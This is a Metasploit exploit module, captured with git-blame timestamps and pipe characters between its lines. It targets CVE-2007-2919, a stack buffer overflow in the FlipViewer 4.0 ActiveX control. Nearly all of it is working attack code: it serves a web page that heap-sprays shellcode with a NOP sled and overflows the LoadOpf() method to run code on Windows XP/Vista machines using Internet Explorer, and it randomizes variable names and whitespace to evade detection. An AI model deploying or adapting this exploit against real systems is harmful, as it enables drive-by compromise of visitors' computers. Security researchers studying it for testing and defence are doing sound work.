2009-12-15 18:47:29 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2009-12-15 18:47:29 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = NormalRanking
|
|
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
|
|
|
|
'Name' => 'FlipViewer FViewerLoading ActiveX Control Buffer Overflow',
|
|
|
|
|
'Description' => %q{
|
|
|
|
|
This module exploits a stack buffer overflow in E-BOOK Systems FlipViewer 4.0.
|
|
|
|
|
The vulnerability is caused due to a boundary error in the
|
|
|
|
|
FViewerLoading (FlipViewerX.dll) ActiveX control when handling the
|
|
|
|
|
"LoadOpf()" method.
|
|
|
|
|
},
|
|
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
|
'Author' => [ 'LSO <lso[at]hushmail.com>' ],
|
|
|
|
|
'References' =>
|
|
|
|
|
[
|
|
|
|
|
[ 'CVE', '2007-2919' ],
|
|
|
|
|
[ 'OSVDB', '37042' ],
|
|
|
|
|
[ 'BID', '24328' ],
|
|
|
|
|
],
|
|
|
|
|
'DefaultOptions' =>
|
|
|
|
|
{
|
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
|
},
|
|
|
|
|
'Payload' =>
|
|
|
|
|
{
|
|
|
|
|
'Space' => 1024,
|
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
|
},
|
|
|
|
|
'Platform' => 'win',
|
|
|
|
|
'Targets' =>
|
|
|
|
|
[
|
|
|
|
|
# Tested ok patrickw 20090303
|
|
|
|
|
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ],
|
|
|
|
|
],
|
|
|
|
|
'DisclosureDate' => 'Jun 6 2007',
|
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def autofilter
|
|
|
|
|
false
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def check_dependencies
|
|
|
|
|
use_zlib
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
|
|
|
|
|
|
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
|
|
|
|
|
|
|
|
|
nops = Rex::Text.to_unescape(make_nops(4))
|
|
|
|
|
|
|
|
|
|
ret = Rex::Text.uri_encode([target.ret].pack('L'))
|
|
|
|
|
|
|
|
|
|
vname = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
var_i = rand_text_alpha(rand(30) + 2)
|
|
|
|
|
rand1 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand2 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand3 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand4 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand5 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand6 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand7 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand8 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
|
|
|
|
|
content = %Q|<html>
|
2010-04-30 08:40:19 +00:00
|
|
|
<object classid='clsid:BA83FD38-CE14-4DA3-BEF5-96050D55F78A' id='#{vname}'></object>
|
|
|
|
|
<script language='javascript'>
|
|
|
|
|
var #{rand1} = unescape('#{shellcode}');
|
|
|
|
|
var #{rand2} = unescape('#{nops}');
|
|
|
|
|
var #{rand3} = 20;
|
|
|
|
|
var #{rand4} = #{rand3} + #{rand1}.length;
|
|
|
|
|
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
|
|
|
|
|
var #{rand5} = #{rand2}.substring(0,#{rand4});
|
|
|
|
|
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
|
|
|
|
|
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
|
|
|
|
|
var #{rand7} = new Array();
|
|
|
|
|
for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
|
|
|
|
|
var #{rand8} = "";
|
|
|
|
|
for (#{var_i} = 0; #{var_i} < 1324; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
|
|
|
|
|
#{vname}.LoadOpf(#{vname}, #{vname}, #{vname}, #{vname}, #{vname}, #{vname}, #{vname}, #{rand8});
|
|
|
|
|
</script>
|
|
|
|
|
</html>
|
|
|
|
|
|
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
content = Rex::Text.randomize_space(content)
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Sending exploit...")
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
send_response_html(cli, content)
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
handler(cli)
|
|
|
|
|
end
|
2009-12-15 18:47:29 +00:00
|
|
|
|
|
|
|
|
end
|
